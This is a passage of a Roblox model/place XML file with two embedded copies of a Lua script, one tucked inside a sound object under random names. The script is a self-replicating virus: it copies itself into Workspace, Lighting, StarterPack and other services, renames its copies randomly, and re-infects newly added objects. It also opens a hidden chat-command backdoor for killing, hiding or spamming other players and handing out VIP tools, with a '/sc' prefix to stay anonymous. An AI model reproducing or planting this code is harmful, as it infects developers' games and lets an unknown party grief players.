--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
						</Item>
						<Item class="StockSound" referent="RBX641">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">c8du8u</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX642">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">ooox38kaw</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Part" referent="RBX643">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">12</int>
							<CoordinateFrame name="CFrame">
								<X>-161.746826</X>
								<Y>3.52191734</Y>
								<Z>-2.95955658</Z>
								<R00>0.697126448</R00>
								<R01>2.63230845e-007</R01>
								<R02>0.716948211</R02>
								<R10>1.03866682e-006</R10>
								<R11>1</R11>
								<R12>-1.37710481e-006</R12>
								<R20>-0.716948211</R20>
								<R21>1.7046865e-006</R21>
								<R22>0.697126448</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
